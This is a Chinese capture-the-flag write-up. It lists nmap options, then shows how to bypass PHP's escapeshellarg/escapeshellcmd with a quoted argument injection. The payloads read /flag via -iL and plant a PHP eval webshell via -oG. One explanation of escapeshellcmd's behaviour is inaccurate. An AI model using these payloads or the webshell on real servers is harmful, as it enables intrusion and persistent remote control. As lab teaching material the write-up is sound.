知识点:escapeshellarg和escapeshellcmd函数的绕过
nmap使用方法
进入页面是一个NMAP工具的使用页面
知识点:
Nmap(Network Mapper)是一款功能强大的网络扫描工具,它能够帮助用户发现网络上的设备、开放的端口以及运行的服务。以下是一些Nmap的常见命令及其用途:
- 基本扫描
nmap <目标IP>
:对指定IP地址进行快速扫描,默认扫描100个常用端口。nmap -p <端口范围> <目标IP>
:扫描指定IP地址的特定端口范围。- 详细扫描
nmap -sV <目标IP>
:探测目标主机上运行的服务的版本信息。nmap -O <目标IP>
:尝试检测目标主机的操作系统类型。nmap -A <目标IP>
:进行高级扫描,包括操作系统检测、版本检测、脚本扫描等。- 扫描多个目标
nmap <目标IP1> <目标IP2> ...
:依次扫描多个IP地址。nmap -iL <目标文件>
:从文件中读取IP地址列表进行扫描。- 扫描整个子网
nmap <起始IP>-<结束IP>
:扫描指定IP范围内的所有主机。nmap <网络地址>/<子网掩码>
:使用CIDR表示法扫描整个子网。- 服务探测
nmap --script=<脚本名> <目标IP>
:运行指定的Nmap脚本进行扫描。nmap -sT <目标IP>
(或-sU
):进行TCP(或UDP)连接扫描。nmap -sS <目标IP>
:进行TCP SYN扫描(半开扫描),速度较快且不易被防火墙发现。- 性能优化
nmap -T<0-5> <目标IP>
:设置扫描的并行度,-T0
为最慢但最隐蔽,-T5
为最快但可能触发防火墙警报。nmap --min-hostgroup=<数量>
:设置一次扫描的主机组大小,以优化扫描速度。- 结果输出
nmap -oN <输出文件> <目标IP>
:将扫描结果以普通文本格式保存到文件中。nmap -oX <输出文件> <目标IP>
:将扫描结果以XML格式保存到文件中。nmap -oG <输出文件> <目标IP>
:将扫描结果以Grepable格式保存到文件中,便于后续处理。- 其他选项
nmap --open <目标IP>
:仅显示开放的端口。nmap --host-timeout=<时间>
:设置扫描每个主机的超时时间。nmap --script-timeout=<时间>
:设置运行脚本的超时时间。nmap --osscan-limit
:限制操作系统检测,以加快扫描速度。nmap --osscan-guess
:尝试猜测更具体的操作系统信息。
这里试一下多条命令执行.
;被转义了.
那么看下页面源代码看看.
他这里有提示: flag is in /flag
那么我们可以通过以下知识点写入webshell,或将flag读入指定文件在读取指定文件内容即可
nmap -iL <目标文件>
:从文件中读取IP地址列表进行扫描
nmap -oN <输出文件> <目标IP>
:将扫描结果以普通文本格式保存到文件中
第一种方法:将flag读取至指定文件.
payload:
127.0.0.1' -iL /flag -o wtj
这里多家一个单引号是为了绕过escapeshellarg和escapeshellcmd两个函数.
在PHP中,escapeshellarg()
和 escapeshellcmd()
函数用于处理用户输入,以防止命令注入攻击。这两个函数的行为有所不同,并且它们的处理方式影响最终的命令字符串。
escapeshellarg()
escapeshellarg()
函数用于确保一个字符串在作为命令行参数时安全。它会将单引号进行转义,并用一对单引号包裹整个字符串,确保该字符串被视为一个单独的参数。
原始输入:
$input = "127.0.0.1' -iL /flag -o wtj";
经过 escapeshellarg()
处理后:
$safe_input = escapeshellarg($input);
echo $safe_input; // 输出:'127.0.0.1'\'' -iL /flag -o wtj'
解释:
- 单引号
'
被转义为\'
,然后用一对单引号包裹整个字符串。 - 结果是一个合法的命令行参数,其中原始字符串被安全地引用。
escapeshellcmd()
escapeshellcmd()
函数用于确保一个字符串在作为整个命令行时安全。它会转义一些特殊字符,比如 ;
, &
, (
, )
, |
, <
, >
, ^
, `
, $
, *
, \
, "
, `
, [
, ]
, {
, }
, =
, ?
, 和 #
,以及空格和制表符。
原始输入:
$input = "'127.0.0.1'\'' -iL /flag -o wtj'";
注意:这里输入已经包含了一些转义的单引号,并且整个字符串被单引号包裹。
经过 escapeshellcmd()
处理后:
$safe_input = escapeshellcmd($input);
echo $safe_input; // 输出:'127.0.0.1'\\'' -iL /flag -o wtj\'
解释:
- 单引号
'
已经被转义为\'
,但由于整个字符串已经处于单引号内,所以内部的\'
被进一步转义为\\'
。 - 字符串末尾的单引号
'
被转义为\'
,因为escapeshellcmd()
会处理字符串中的所有特殊字符。 - 结果是一个更安全的命令行字符串,但需要注意的是,这种处理方式可能会在某些情况下导致意外的行为,特别是当输入字符串已经包含转义字符时。
最后获取到flag.
第二种方法:写入webshell
我们可以利用-oG写入webshell:127.0.0.1 | <?=@eval($_REQUEST['cmd']);?> -oG attack.php
有什什么被过滤了 ,改成phtml试试.
127.0.0.1 | '<?=@eval($_REQUEST['cmd']);?>' -oG attack.phtml
知识点:
escapeshellcmd
函数的主要作用是对一些特定的特殊字符进行转义,以防止外部命令注入。这些特殊字符通常包括单引号、双引号、反斜杠和一些其他字符,它们在 shell 中可能会改变命令的行为。对于字符串
<?=@eval($_POST[cmd]);?>
,这是一个 PHP 代码片段,而不是外部命令的参数。因此,escapeshellcmd
函数不会对这类代码进行转义。escapeshellcmd
只适用于需要被传递到操作系统命令行的字符串。
读取到flag,游戏结束~